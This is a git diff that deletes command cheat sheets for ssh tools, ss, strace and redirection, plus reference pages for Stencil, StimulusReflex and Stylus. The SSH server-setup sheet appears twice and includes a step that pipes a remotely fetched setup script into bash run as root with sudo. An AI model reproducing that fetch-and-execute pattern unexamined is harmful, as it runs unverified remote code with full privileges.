diff --git a/docs/content/cheat-sheets/ss.md b/docs/content/cheat-sheets/ss.md
deleted file mode 100644
index e94da0dbec..0000000000
--- a/docs/content/cheat-sheets/ss.md
+++ /dev/null
@@ -1,22 +0,0 @@
----
-tags: [networking]
----
-
-Args
--4/-6 list ipv4/ipv6 sockets
--n numeric addresses instead of hostnames
--l list listing sockets
--u/-t/-x list udp/tcp/unix sockets
--p Show process(es) that using socket
-
-# show all listing tcp sockets including the corresponding process
-
-ss -tlp
-
-# show all sockets connecting to 192.168.2.1 on port 80
-
-ss -t dst 192.168.2.1:80
-
-# show all ssh related connection
-
-ss -t state established '( dport = :ssh or sport = :ssh )'
diff --git a/docs/content/cheat-sheets/ssh-add.md b/docs/content/cheat-sheets/ssh-add.md
deleted file mode 100644
index 0fcb038722..0000000000
--- a/docs/content/cheat-sheets/ssh-add.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-tags: [ssh]
----
-
-# To add private key:
-
-ssh-add <keyfile>
-
-# To load resident keys from FIDO2 authenticator:
-
-ssh-add -K
-
-# To store a GitHub SSH passphrase in your keychain:
-
-ssh-add -K ~/.ssh/github_rsa
-
-# To list all public keys:
-
-ssh-add -L
-
-# To list fingerprints of all keys:
-
-ssh-add -l
-
-# To delete key:
-
-ssh-add -d <keyfile>
-
-# To delete all keys:
-
-ssh-add -D
diff --git a/docs/content/cheat-sheets/ssh-cheatsheet.md b/docs/content/cheat-sheets/ssh-cheatsheet.md
deleted file mode 100644
index b8b153f356..0000000000
--- a/docs/content/cheat-sheets/ssh-cheatsheet.md
+++ /dev/null
@@ -1,301 +0,0 @@
-# SSH Cheatsheet
-
-## SSH Cheat Sheet
-
-#### Login via SSH with password (LOCAL SERVER)
-
-`$ ssh bryan@192.168.1.29`
-
-#### Create folder, file, install Apache (Just messing around)
-
-`$ mkdir test`
-
-`$ cd test`
-
-`$ touch hello.txt`
-
-`$ sudo apt-get install apache2`
-
-#### Generate Keys (Local Machine)
-
-`$ ssh-keygen`
-
-#### Add Key to server in one command
-
-`> cat ~/.ssh/id_rsa.pub | ssh bryan@192.168.1.29 "mkdir -p ~/.ssh && chmod 700 ~/.ssh && cat >> ~/.ssh/authorized_keys`
-
-#### Create & copy a file to the server using SCP
-
-`$ touch test.txt` `$ scp ~/test.txt bryan@192.168.1.29:~`
-
-### DIGITAL OCEAN
-
-> Create account->create droplet
-
-#### Create Keys For Droplet (id_rsa_do)
-
-`$ ssh-keygen -t rsa`
-
-> Add Key When Creating Droplet
-
-#### Try logging in
-
-`$ ssh root@doserver`
-
-#### If it doesn't work
-
-`$ ssh-add ~/.ssh/id_rsa_do` (or whatever name you used)
-
-#### Login should now work
-
-`$ ssh root@doserver`
-
-#### Update packages
-
-`$ sudo apt update`
-
-`$ sudo apt upgrade`
-
-#### Create new user with sudo
-
-`$ adduser bryan`
-
-`$ id bryan`
-
-`$ usermod -aG sudo bryan`
-
-`$ id bryan`
-
-#### Login as bryan
-
-`> ssh bryan@doserver`
-
-#### We need to add the key to bryans .ssh on the server, log back in as root
-
-`$ ssh root@doserver`
-
-`$ cd /home/bryan`
-
-`$ mkdir .ssh`
-
-`$ cd .ssh`
-
-`$ touch authorized_keys`
-
-`> sudo nano authorized_keys` (paste in the id_rsa_do.pub key, exit and log in as bryan)
-
-#### Disable root password login
-
-`$ sudo nano /etc/ssh/sshd_config`
-
-#### Set the following
-
-`PermitRootLogin no`
-
-`PasswordAuthentication no`
-
-#### Reload sshd service
-
-`$ sudo systemctl reload sshd`
-
-#### Change owner of /home/bryan/\* to bryan
-
-`$ sudo chown -R bryan:bryan /home/bryan`
-
-#### May need to set permission
-
-`$ chmod 700 /home/bryan/.ssh`
-
-#### Install Apache and visit ip
-
-`$ sudo apt install apache2 -y`
-
-### Github
-
-#### Generate Github Key(On Server)
-
-`$ ssh-keygen -t rsa` (id_rsa_github or whatever you want)
-
-### Add new key
-
-`$ ssh-add /home/bryan/.ssh/id_rsa_github`
-
-### If you get a message about auth agent, run this and try again
-
-\`\`\`$ eval \`ssh-agent -s\`\`\`\`
-
-### Clone repo
-
-`$ git clone git@github.com:bryantraversy/react_otka_auth.git`
-
-### Install Node
-
-`$ curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -`
-
-`$ sudo apt-get install -y nodejs`
-
-### Install Dependencies
-
-`$ npm install`
-
-### Start Dev Server and visit ip:3000
-
-`$ npm start`
-
-### Build Out React App
-
-`$ npm run build`
-
-### Move static build to web server root
-
-`$ sudo mv -v /home/bryan/react_otka_auth/build/* /var/www/html`
-
-## SSH Cheat Sheet
-
-#### Login via SSH with password (LOCAL SERVER)
-
-`$ ssh bryan@192.168.1.29`
-
-#### Create folder, file, install Apache (Just messing around)
-
-`$ mkdir test`
-
-`$ cd test`
-
-`$ touch hello.txt`
-
-`$ sudo apt-get install apache2`
-
-#### Generate Keys (Local Machine)
-
-`$ ssh-keygen`
-
-#### Add Key to server in one command
-
-`> cat ~/.ssh/id_rsa.pub | ssh bryan@192.168.1.29 "mkdir -p ~/.ssh && chmod 700 ~/.ssh && cat >> ~/.ssh/authorized_keys`
-
-#### Create & copy a file to the server using SCP
-
-`$ touch test.txt` `$ scp ~/test.txt bryan@192.168.1.29:~`
-
-### DIGITAL OCEAN
-
-> Create account->create droplet
-
-#### Create Keys For Droplet (id_rsa_do)
-
-`$ ssh-keygen -t rsa`
-
-> Add Key When Creating Droplet
-
-#### Try logging in
-
-`$ ssh root@doserver`
-
-#### If it doesn't work
-
-`$ ssh-add ~/.ssh/id_rsa_do` (or whatever name you used)
-
-#### Login should now work
-
-`$ ssh root@doserver`
-
-#### Update packages
-
-`$ sudo apt update`
-
-`$ sudo apt upgrade`
-
-#### Create new user with sudo
-
-`$ adduser bryan`
-
-`$ id bryan`
-
-`$ usermod -aG sudo bryan`
-
-`$ id bryan`
-
-#### Login as bryan
-
-`> ssh bryan@doserver`
-
-#### We need to add the key to bryans .ssh on the server, log back in as root
-
-`$ ssh root@doserver`
-
-`$ cd /home/bryan`
-
-`$ mkdir .ssh`
-
-`$ cd .ssh`
-
-`$ touch authorized_keys`
-
-`> sudo nano authorized_keys` (paste in the id_rsa_do.pub key, exit and log in as bryan)
-
-#### Disable root password login
-
-`$ sudo nano /etc/ssh/sshd_config`
-
-#### Set the following
-
-`PermitRootLogin no`
-
-`PasswordAuthentication no`
-
-#### Reload sshd service
-
-`$ sudo systemctl reload sshd`
-
-#### Change owner of /home/bryan/\* to bryan
-
-`$ sudo chown -R bryan:bryan /home/bryan`
-
-#### May need to set permission
-
-`$ chmod 700 /home/bryan/.ssh`
-
-#### Install Apache and visit ip
-
-`$ sudo apt install apache2 -y`
-
-### Github
-
-#### Generate Github Key(On Server)
-
-`$ ssh-keygen -t rsa` (id_rsa_github or whatever you want)
-
-### Add new key
-
-`$ ssh-add /home/bryan/.ssh/id_rsa_github`
-
-### If you get a message about auth agent, run this and try again
-
-\`\`\`$ eval \`ssh-agent -s\`\`\`\`
-
-### Clone repo
-
-`$ git clone git@github.com:bryantraversy/react_otka_auth.git`
-
-### Install Node
-
-`$ curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -`
-
-`$ sudo apt-get install -y nodejs`
-
-### Install Dependencies
-
-`$ npm install`
-
-### Start Dev Server and visit ip:3000
-
-`$ npm start`
-
-### Build Out React App
-
-`$ npm run build`
-
-### Move static build to web server root
-
-`$ sudo mv -v /home/bryan/react_otka_auth/build/* /var/www/html`
diff --git a/docs/content/cheat-sheets/ssh-copy-id.md b/docs/content/cheat-sheets/ssh-copy-id.md
deleted file mode 100644
index 358209bf8a..0000000000
--- a/docs/content/cheat-sheets/ssh-copy-id.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-tags: [ssh]
----
-
-# To copy a key to a remote host:
-
-ssh-copy-id <user>@<host>
-
-# To copy a key to a remote host on a non-standard port:
-
-ssh-copy-id <user>@<host> -p 2222
-
-# To copy a key to a remote host on a non-standard port with non-standard ssh key:
-
-ssh-copy-id ~/.ssh/otherkey "username@host -p 2222"
diff --git a/docs/content/cheat-sheets/ssh-keygen.md b/docs/content/cheat-sheets/ssh-keygen.md
deleted file mode 100644
index bafab9a73c..0000000000
--- a/docs/content/cheat-sheets/ssh-keygen.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-tags: [ssh]
----
-
-# To generate an SSH key:
-
-ssh-keygen -t rsa
-
-# To generate a 4096-bit SSH key:
-
-ssh-keygen -t rsa -b 4096
-
-# To generate a FIDO/U2F token-backed key:
-
-ssh-keygen -t ed25519-sk
-
-# To generate a FIDO2 resident key:
-
-ssh-keygen -t ed25519-sk -O resident
-
-# To update a passphrase on a key:
-
-ssh-keygen -p -P <old-passphrase> -N <new-passphrase> -f <keyfile>
-
-# To remove a passphrase on a key:
-
-ssh-keygen -p -P <old-passphrase> -N '' -f <keyfile>
-
-# To generate a 4096 bit RSA key with a passphase and comment containing the user and hostname:
-
-ssh-keygen -t rsa -b 4096 -C "$USER@$HOSTNAME" -P <passphrase>
-
-# To print the fingerprint of a public key:
-
-ssh-keygen -lf <keyfile>
-
-# To print the Github-style (MD5) fingerprint of a public key:
-
-ssh-keygen -E md5 -lf <keyfile>
-
-# To download resident keys from a FIDO2 authenticator to the current directory:
-
-ssh-keygen -K
-
-# To view the public key associated with a private key:
-
-ssh-keygen -y -f <private-key-file> > <public-key-file>
-ssh-keygen -y -f ~/.ssh/private-key > ~/.ssh/public-key.pub
diff --git a/docs/content/cheat-sheets/ssh.md b/docs/content/cheat-sheets/ssh.md
deleted file mode 100644
index c2e35fc450..0000000000
--- a/docs/content/cheat-sheets/ssh.md
+++ /dev/null
@@ -1,69 +0,0 @@
----
-tags: [ssh]
----
-
-# To ssh via pem file (which normally needs 0600 permissions):
-
-ssh -i <pemfile> <user>@<host>
-
-# To connect on a non-standard port:
-
-ssh -p <port> <user>@<host>
-
-# To connect and forward the authentication agent:
-
-ssh -A <user>@<host>
-
-# To execute a command on a remote server:
-
-ssh -t <user>@<host> 'the-remote-command'
-
-# To tunnel an x session over SSH:
-
-ssh -X <user>@<host>
-
-# Redirect traffic with a tunnel between local host (port 8080) and a remote
-
-# host (remote.example.com:5000) through a proxy (personal.server.com):
-
-ssh -f -L 8080:remote.example.com:5000 user@personal.server.com -N
-
-# To launch a specific x application over SSH:
-
-ssh -X -t <user>@<host> 'chromium-browser'
-
-# To create a SOCKS proxy on localhost and <port>:
-
-ssh -qND <port> <user>@<host>
-
-# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999:
-
-ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" <user>@<host>
-
-# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish:
-
-ssh <user>@<host> -C -c blowfish -X
-
-# For more information, see:
-
-# http://unix.stackexchange.com/q/12755/44856
-
-# To copy files and folders through ssh from remote host to pwd with tar.gz
-
-# compression when there is no rsync command available:
-
-ssh <user>@<host> "cd /var/www/Shared/; tar zcf - asset1 asset2" | tar zxf -
-
-# To mount folder/filesystem through SSH
-
-# Install SSHFS from https://github.com/libfuse/sshfs
-
-# Will allow you to mount a folder securely over a network.
-
-sshfs <user>@<host>:/path/to/folder /path/to/mount/point
-
-# Emacs can read file through SSH
-
-# Doc: http://www.gnu.org/software/emacs/manual/html_node/emacs/Remote-Files.html
-
-emacs /ssh:<user>@<host>:<file>
diff --git a/docs/content/cheat-sheets/stdout.md b/docs/content/cheat-sheets/stdout.md
deleted file mode 100644
index 139292dd85..0000000000
--- a/docs/content/cheat-sheets/stdout.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To redirect stderr to stdout:
-
-some-command 2>&1
-
-# To redirect stderr to <file>:
-
-some-command 2> <file>
diff --git a/docs/content/cheat-sheets/stencil.md b/docs/content/cheat-sheets/stencil.md
deleted file mode 100644
index cdce8b7e0e..0000000000
--- a/docs/content/cheat-sheets/stencil.md
+++ /dev/null
@@ -1,207 +0,0 @@
----
-title: Stencil
-category: JavaScript libraries
-
-keywords:
-    - '@Component'
-    - '@Prop()'
-    - '@State()'
-    - 'render()'
-    - 'componentWillLoad()'
-    - 'componentWillUpdate()'
-    - 'Templating'
-    - 'Lifecycle'
-intro: |
-    [Stencil](https://github.com/ionic-team/stencil) is a compiler for web components made by the Ionic team. This guide targets Stencil v0.0.5.
----
-
-## Quick-start guide
-
-### Getting started
-
-#### JavaScript
-
-```js
-import { Component, Prop, State } from '@stencil/core'
-
-@Component({
-  tag: 'my-component',
-  styleUrl: 'my-component.scss'
-})
-export class MyComponent {
-  @Prop() name: string
-  @State() isVisible: boolean = true
-
-  render () {
-    return <p>I am {this.name}!</p>
-    )
-  }
-}
-```
-
-#### HTML
-
-```html
-<my-component name="Groot" />
-```
-
-That's the same example in the [Readme](https://github.com/ionic-team/stencil), that's as simple as you can get! Just use `<my-component>` like you would use any other HTML tag.
-
-### DOM events
-
-```js
-export class MyComponent {
-    render() {
-        return <input onChange={(event: UIEvent) => this.inputChanged(event)} />;
-    }
-
-    inputChanged(event) {
-        console.log('input changed:', event.target.value);
-    }
-}
-```
-
-{: data-line="5,10,11"}
-
-Stencil uses DOM events.
-
-See: [Handling user input](https://stenciljs.com/docs/templating/#handling-user-input)
-
-### Multiple children
-
-```js
-render () {
-  return [
-    <h1>Hello there</h1>,
-    <p>This component returns multiple nodes</p>
-  ]
-}
-```
-
-{: data-line="3,4"}
-
-`render()` can return an array of elements.
-
-See: [Complex template content](https://stenciljs.com/docs/templating#complex-template-content)
-
-## State
-
-### Managing state
-
-```js
-export class MyComponent {
-    @State() isVisible: boolean;
-
-    show() {
-        this.isVisible = true;
-    }
-}
-```
-
-{: data-line="4,5"}
-
-Just do assignments. You can't do mutations though, see next section.
-
-See: [Managing component state](https://stenciljs.com/docs/decorators#managing-component-state)
-
-### Updating arrays and objects
-
-#### ✗ Bad
-
-```js
-this.names.push('Larry'); // ⚠️
-this.options.show = true; // ⚠️
-```
-
-#### ✓ OK
-
-```js
-this.names = [...this.names, 'Larry'];
-this.options = { ...this.options, show: true };
-```
-
-Mutable operations such as `push()` won't work. You'll need to assign a new copy.
-
-See: [Updating arrays](https://stenciljs.com/docs/reactive-data/#updating-arrays)
-
-## Slots
-
-### Using slot
-
-```html
-<my-component>
-    <span>Hello, friends</span>
-</my-component>
-```
-
-{: data-line="2"}
-
-#### Component
-
-```js
-render() {
-  return <h1><slot /></h1>
-}
-```
-
-{: data-line="2"}
-
-You can pass JSX/HTML as child elements. Use the `slot` tag to use them inside your component.
-
-See: [Slots](https://stenciljs.com/docs/templating#slots)
-
-### Multiple slots
-
-```html
-<my-component>
-    <p slot="my-header">Hello</p>
-    <p slot="my-footer">Thanks</p>
-</my-component>
-```
-
-{: data-line="2,3"}
-
-#### Component
-
-```js
-render () {
-  return <div>
-    <header><slot name='my-header' /></header>
-    <footer><slot name='my-footer' /></footer>
-  </div>
-}
-```
-
-{: data-line="3,4"}
-
-See: [Slots](https://stenciljs.com/docs/templating#slots)
-
-## Lifecycle
-
-### Lifecycle hooks
-
-| Event                   | Description      |
-| ----------------------- | ---------------- |
-| `componentWillLoad()`   | Before rendering |
-| `componentDidLoad()`    | After rendering  |
-| ---                     | ---              |
-| `componentWillUpdate()` | Before updating  |
-| `componentDidUpdate()`  | After updating   |
-| ---                     | ---              |
-| `componentDidUnload()`  | After unmounting |
-
-See: [Component lifecycle](https://stenciljs.com/docs/component-lifecycle)
-
-### Example
-
-```js
-export class MyComponent {
-    componentWillUpdate() {
-        console.log('updating');
-    }
-}
-```
-
-## References
-
--   [Stencil docs](https://stenciljs.com/docs/) _(stenciljs.com)_
diff --git a/docs/content/cheat-sheets/stimulus-reflex.md b/docs/content/cheat-sheets/stimulus-reflex.md
deleted file mode 100644
index 5c7893e176..0000000000
--- a/docs/content/cheat-sheets/stimulus-reflex.md
+++ /dev/null
@@ -1,242 +0,0 @@
----
-title: StimulusReflex
-category: Ruby
----
-
-### via Data Attributes
-
-Trigger reflexes without writing any javascript with the `data-reflex` attribute.
-
-```erb
-<!-- index.html.erb -->
-<a
-  href="#"
-  data-reflex="click->CounterReflex#increment"
-  data-step="1"
-  data-count="<%= @count.to_i %>"
-  >Increment <%= @count.to_i %></a
->
-```
-
-```ruby
-# counter_reflex.rb
-class CounterReflex < StimulusReflex::Reflex
-  def increment
-    @count = element.dataset[:count].to_i + element.dataset[:step].to_i
-  end
-end
-```
-
-### from Stimulus.js Controller
-
-Stimulus.js controllers registered with StimulusReflex can use the `stimulate` method to trigger reflexes
-
-```erb
-<!-- index.html.erb -->
-<a href="#"
-  data-controller="counter"
-  data-action="click->counter#increment"
->Increment <%= @count %></a>
-```
-
-```js
-// counter_controller.js
-import { Controller } from 'stimulus';
-import StimulusReflex from 'stimulus_reflex';
-
-export default class extends Controller {
-    connect() {
-        StimulusReflex.register(this);
-    }
-
-    increment(event) {
-        event.preventDefault();
-        this.stimulate('Counter#increment', 1);
-    }
-}
-```
-
-```ruby
-# counter_reflex.rb
-class CounterReflex < StimulusReflex::Reflex
-  def increment(step = 1)
-    session[:count] = session[:count].to_i + step
-   end
-end
-```
-
-## Morphs
-
-### Selector morphs
-
-Instead of refreshing the entire page, you can specify a portion of the page to update with `morph(selector, content)`
-
-```erb
-<!-- show.html.erb -->
-<header data-reflex="click->Example#change">
-  <%= render partial: "path/to/foo", locals: {message: "Am I the medium or the massage?"} %>
-</header>
-```
-
-```erb
-<!-- _foo.html.erb -->
-<div id="foo">
-  <span class="spa"><%= message %></span>
-</div>
-```
-
-```ruby
-# example_reflex.rb
-class ExampleReflex < ApplicationReflex
-  def change
-    morph "#foo", "Your muscles... they are so tight."
-  end
-end
-```
-
-### Nothing morph
-
-Use `morph :nothing` in reflexes that do something on the server without updating the client.
-
-```ruby
-# example_reflex.rb
-class ExampleReflex < ApplicationReflex
-  def change
-    LongRunningJob.perform_later
-    morph :nothing
-  end
-end
-```
-
-## Lifecycle
-
-### Server-side callbacks
-
-Reflex classes can use the following callbacks. [Full Docs](http://docs.stimulusreflex.com/lifecycle#server-side-reflex-callbacks)
-
--   `before_reflex`
--   `around_reflex`
--   `after_reflex`
-
-### Client-side callbacks (generic)
-
-StimulusReflex controllers automatically support five generic lifecycle callback methods.
-
--   `beforeReflex(element, reflex, noop, reflexId)` prior to sending a request over the web socket
--   `reflexSuccess(element, reflex, noop, reflexId)` after the server side Reflex succeeds and the DOM has been updated
--   `reflexError(element, reflex, error, reflexId)` whenever the server side Reflex raises an error
--   `reflexHalted(element, reflex, noop, reflexId)` reflex canceled with throw :abort in the before_reflex callback
--   `afterReflex(element, reflex, noop, reflexId)` after both success and error
--   `finalizeReflex(element, reflex, noop, reflexId)` after both success and error
-
-### Client-side callbacks (custom)
-
-StimulusReflex controllers can define up to five custom lifecycle callback methods for each Reflex action. These methods use a naming convention based on the name of the Reflex. e.g. for the `add_one` reflex:
-
--   `beforeAddOne(element, reflex, noop, reflexId)`
--   `addOneSuccess(element, reflex, noop, reflexId)`
--   `addOneError(element, reflex, error, reflexId)`
--   `addOneHalted(element, reflex, noop, reflexId)`
--   `afterAddOne(element, reflex, noop, reflexId)`
--   `finalizeAddOne(element, reflex, noop, reflexId)`
-
-### Client-side events
-
-If you need to know when a Reflex method is called, but you're working outside of the Stimulus controller that initiated it, you can subscribe to receive DOM events
-
--   `stimulus-reflex:before`
--   `stimulus-reflex:success`
--   `stimulus-reflex:error`
--   `stimulus-reflex:halted`
--   `stimulus-reflex:after`
-
-There are also events related to the StimulusReflex library setting up and connecting to ActionCable
-
--   `stimulus-reflex:connected`
--   `stimulus-reflex:disconnected`
--   `stimulus-reflex:rejected`
--   `stimulus-reflex:ready`
-
-## Helpful tips
-
-### Forms
-
-If a Reflex is called on a form element - or a child of that form element - then the data for the whole form will be properly serialized and made available to the Reflex action method as the `params` accessor. [Read more](http://docs.stimulusreflex.com/working-with-forms)
-
-### Promises
-
-`stimulate()` method returns a promise
-
-```js
-this.stimulate('Comments#create')
-    .then(() => this.doSomething())
-    .catch(() => this.handleError());
-```
-
-### Inheriting data-attributes from parent elements
-
-You can use the `data-reflex-dataset="combined"` directive to scoop all data attributes up the DOM hierarchy and pass them as part of the Reflex payload.
-
-```erb
-<!-- new.html.erb -->
-<div data-post-id="<%= @post.id %>">
-  <div data-category-id="<%= @category.id %>">
-    <button data-reflex="click->Comment#create" data-reflex-dataset="combined">Create</button>
-  </div>
-</div>
-```
-
-```ruby
-# comment_reflex.rb
-class CommentReflex < ApplicationReflex
-  def create
-    puts element.dataset["post-id"]
-    puts element.dataset["category-id"]
-  end
-end
-```
-
-### Reflex root
-
-Instead of updating your entire page, you can specify exactly which parts of the DOM will be updated using the `data-reflex-root` attribute. [Full docs](http://docs.stimulusreflex.com/morph-modes#scoping-page-morphs)
-
-```text
-<!-- index.html.erb -->
-<div data-reflex-root="[forward],[backward]">
-  <input type="text" value="<%= @words %>" data-reflex="keyup->Example#words">
-  <div forward><%= @words %></div>
-  <div backward><%= @words&.reverse %></div>
-</div>
-```
-
-```ruby
-# example_reflex.rb
-  def words
-    @words = element[:value]
-  end
-```
-
-### Permanent elements
-
-Add data-reflex-permanent to any element in your DOM, and it will be left unchanged by full-page Reflex updates and morph calls that re-render partials.
-
-```erb
-<!-- index.html.erb -->
-<div data-reflex-permanent>
-  <iframe src="https://ghbtns.com/github-btn.html?user=hopsoft&repo=stimulus_reflex&type=star&count=true" frameborder="0" scrolling="0" class="ghbtn"></iframe>
-  <iframe src="https://ghbtns.com/github-btn.html?user=hopsoft&repo=stimulus_reflex&type=fork&count=true" frameborder="0" scrolling="0" class="ghbtn"></iframe>
-</div>
-```
-
-### Aborting a reflex
-
-call `raise :abort` within a reflex method to cancel it.
-
-```ruby
-# comment_reflex.rb
-class CommentReflex < ApplicationReflex
-  def create
-    raise :abort
-  end
-end
-```
diff --git a/docs/content/cheat-sheets/strace.md b/docs/content/cheat-sheets/strace.md
deleted file mode 100644
index 1f900439c1..0000000000
--- a/docs/content/cheat-sheets/strace.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# To strace a command:
-
-strace <command>
-
-# To save the trace to a file:
-
-strace -o <outfile> <command>
-
-# To follow only the open() system call:
-
-strace -e trace=open <command>
-
-# To follow all the system calls which open a file:
-
-strace -e trace=file <command>
-
-# To follow all the system calls associated with process management:
-
-strace -e trace=process <command>
-
-# To follow child processes as they are created:
-
-strace -f <command>
-
-# To count time, calls and errors for each system call:
-
-strace -c <command>
-
-# To trace a running process (multiple PIDs can be specified):
-
-strace -p <pid>
diff --git a/docs/content/cheat-sheets/strftime.md b/docs/content/cheat-sheets/strftime.md
deleted file mode 100644
index 74a53d3bb5..0000000000
--- a/docs/content/cheat-sheets/strftime.md
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: strftime format
-
-weight: -5
-tags: [Featurable]
-intro: |
-    The strftime format is the standard date formatting for UNIX. It's used in C, Ruby, and more.
----
-
-{% include common/strftime_format.md title="strftime" %}
diff --git a/docs/content/cheat-sheets/stylus.md b/docs/content/cheat-sheets/stylus.md
deleted file mode 100644
index b63579f446..0000000000
--- a/docs/content/cheat-sheets/stylus.md
+++ /dev/null
@@ -1,469 +0,0 @@
----
-title: Stylus
-category: CSS
-
-prism_languages: [stylus]
-weight: -3
-tags: [Featurable]
----
-
-## Getting started
-
-### CSS syntax
-
-```stylus
-.box {
-  color: blue;
-
-  .button {
-    color: red;
-  }
-}
-```
-
-Stylus is a CSS pre-processor.
-
-See: [stylus-lang.com](http://stylus-lang.com/)
-
-### Indent syntax
-
-```stylus
-.box
-  color: blue
-
-  .button
-    color: red
-```
-
-Also works! The colon is optional, as well. This is typically the syntax used with Stylus documents.
-
-### Mixins
-
-```stylus
-caps-type()
-  text-transform: uppercase
-  letter-spacing: 0.05em
-```
-
-{: data-line="1"}
-
-```stylus
-h5
-  caps-type()
-```
-
-{: data-line="2"}
-
-See [Mixins](#mixins-1) below.
-
-### Variables
-
-```stylus
-royal-blue = #36a
-```
-
-{: data-line="1"}
-
-```stylus
-div
-  color: royal-blue
-```
-
-## Mixins
-
-### Without arguments
-
-```stylus
-red-border()
-  border: solid 2px red
-```
-
-{: data-line="1"}
-
-```stylus
-div
-  red-border()
-```
-
-{: data-line="2"}
-
-See: [Mixins](http://stylus-lang.com/docs/mixins.html)
-
-### With arguments
-
-```stylus
-border-radius(n)
-  -webkit-border-radius: n
-  border-radius: n
-```
-
-{: data-line="1"}
-
-```stylus
-div
-  border-radius: 2px
-  border-radius(2px)
-```
-
-{: data-line="2,3"}
-
-Mixins can be applied in two different ways.
-
-### Argument defaults
-
-```stylus
-border-radius(n = 2px)
-  -webkit-border-radius: n
-```
-
-{: data-line="1"}
-
-### Block mixins
-
-```stylus
-mobile()
-  @media (max-width: 480px)
-    {block}
-```
-
-```stylus
-+mobile()
-  width: 10px
-```
-
-{: data-line="1"}
-
-See: [Block mixins](http://stylus-lang.com/docs/mixins.html#block-mixins)
-
-### Rest params
-
-```stylus
-shadow(offset-x, args...)
-  box-shadow: offset-x args
-  margin-top: offset-x
-```
-
-{: data-line="1"}
-
-```stylus
-#login
-  shadow: 1px 2px 5px #eee
-```
-
-See: [Rest params](http://stylus-lang.com/docs/vargs.html)
-
-## Functions
-
-### Functions
-
-```stylus
-add(a, b)
-  a + b
-```
-
-{: data-line="1"}
-
-```stylus
-body
-  padding: add(10px, 5)
-```
-
-{: data-line="2"}
-
-See: [Functions](http://stylus-lang.com/docs/functions.html)
-
-### Argument defaults
-
-```stylus
-add(a, b = 2)
-  a + b
-```
-
-{: data-line="1"}
-
-See: [Argument defaults](http://stylus-lang.com/docs/functions.html#argument-defaults)
-
-### Named parameters
-
-```stylus
-shadow(x, y)
-  x y (y * 1.5) #000
-```
-
-```stylus
-.button
-  box-shadow: shadow(x: 2, y: 4)
-```
-
-{: data-line="2"}
-
-See: [Named parameters](http://stylus-lang.com/docs/functions.html#named-parameters)
-
-### Multiple return values
-
-```stylus
-sizes()
-  8px 16px
-```
-
-{: data-line="2"}
-
-```stylus
-sizes()[0]  // → 8px
-sizes()[1]  // → 16px
-```
-
-See: [Multiple return values](http://stylus-lang.com/docs/functions.html#multiple-return-values)
-
-## Values
-
-### Conditional assignment
-
-```stylus
-royal-blue = #36a
-royal-blue ?= #89f
-```
-
-{: data-line="2"}
-
-```stylus
-div
-  color: royal-blue  // #36a
-```
-
-`?=` will only set a variable if it's previously unset.
-
-See: [Conditional assignment](https://stylus-lang.com/docs/operators.html#conditional-assignment--)
-
-### Property lookup
-
-```stylus
-.logo
-  width: w = 150
-  margin-left: -(w / 2)
-  // or
-  height: 80px
-  margin-top: -(@height / 2)
-```
-
-{: data-line="2,3"}
-
-See: [Property lookup](https://stylus-lang.com/docs/variables.html#property-lookup)
-
-### Interpolation
-
-```stylus
--{prefix}-border-radius: 2px
-```
-
-See: [Interpolation](https://stylus-lang.com/docs/interpolation.html)
-
-### Color operators
-
-```stylus
-#888 + 50%    // → #c3c3c3 (lighten)
-#888 - 50%    // → #444 (darken)
-#f00 + 50deg  // → #ffd500 (hue)
-```
-
-### Casting
-
-```stylus
-n = 5px
-```
-
-```stylus
-foo: (n)em
-foo: (n * 5)%
-```
-
-{: data-line="1,2"}
-
-### Lookup
-
-```stylus
-light-blue = #3bd
-name = 'blue'
-lookup('light-' + name)
-```
-
-See: [lookup](https://stylus-lang.com/docs/bifs.html#lookupname)
-
-## Advanced features
-
-### Conditional
-
-```stylus
-if color == blue
-  display: block
-else if true and true
-  display: inline
-else if 'hey' is not 'bye'
-  display: flex
-else
-  display: none
-```
-
-Aliases:
-
-| `==` | `is` |
-| `!=` | `is not` |
-| `!=` | `isnt` |
-
-See: [Conditionals](https://stylus-lang.com/docs/functions.html#conditionals)
-
-### For loops
-
-```stylus
-font-size-1 = 10px
-font-size-2 = 20px
-font-size-3 = 30px
-
-for i in 1..3
-  .text-{i}
-    font-size: lookup('font-size-' + i)
-```
-
-{: data-line="5"}
-
-### Definition check
-
-```stylus
-if ohnoes is defined
-  color: blue
-```
-
-{: data-line="1"}
-
-See: [is defined](https://stylus-lang.com/docs/operators.html#variable-definition-is-defined)
-
-### False values
-
-```stylus
-0
-null
-false
-''
-```
-
-### Type check
-
-```stylus
-if val is a 'string'
-if val is a 'ident'
-if #fff is a 'rgba'    // → true
-```
-
-See: [Instance check](https://stylus-lang.com/docs/operators.html#instance-check-is-a)
-
-## Built-in functions
-
-### Color functions
-
-```stylus
-alpha(#fff)   //→ 1
-alpha(rgba(0, 0, 0, 0.2))   //→ 0.2
-```
-
-```stylus
-dark(black)  //→ true
-light(black) //→ false
-```
-
-```stylus
-hue(#0a0)         //→ 50deg
-saturation(#f00)  //→ 100%
-lightness(#f00)   //→ 50%
-luminosity(#f00)  //→ 0.2126
-```
-
-```stylus
-hue(#0a0, 0deg)
-saturation(#f00, 50%)
-lightness(#f00)
-```
-
-```stylus
-lighten(color, 10%)
-darken(color, 10%)
-saturate(color, 10%)
-desaturate(color, 10%)
-invert(color)
-```
-
-```stylus
-tint(color, 50%)  // mix with white
-shade(color, 50%) // mix with black
-```
-
-```stylus
-unquote(string)
-```
-
-See: [Built-in functions](http://stylus-lang.com/docs/bifs.html)
-
-### Image size
-
-```stylus
-width:  image-size('tux.png')[0]
-height: image-size('tux.png')[1]
-```
-
-Returns the width and height of a given image.
-
-See: [image-size](http://stylus-lang.com/docs/bifs.html#image-sizepath)
-
-### Caching
-
-```stylus
-size($width)
-  +cache('w' + $width)
-    width: $width
-.a { size: 10px }
-.b { size: 10px }
-```
-
-```stylus
-// yields: .a, b { width: 10px }
-```
-
-Applies its contents to the given selector on the first call, but would @extend the first call's selector at the second call with the same params.
-
-See: [cache](http://stylus-lang.com/docs/bifs.html#cachekeys)
-
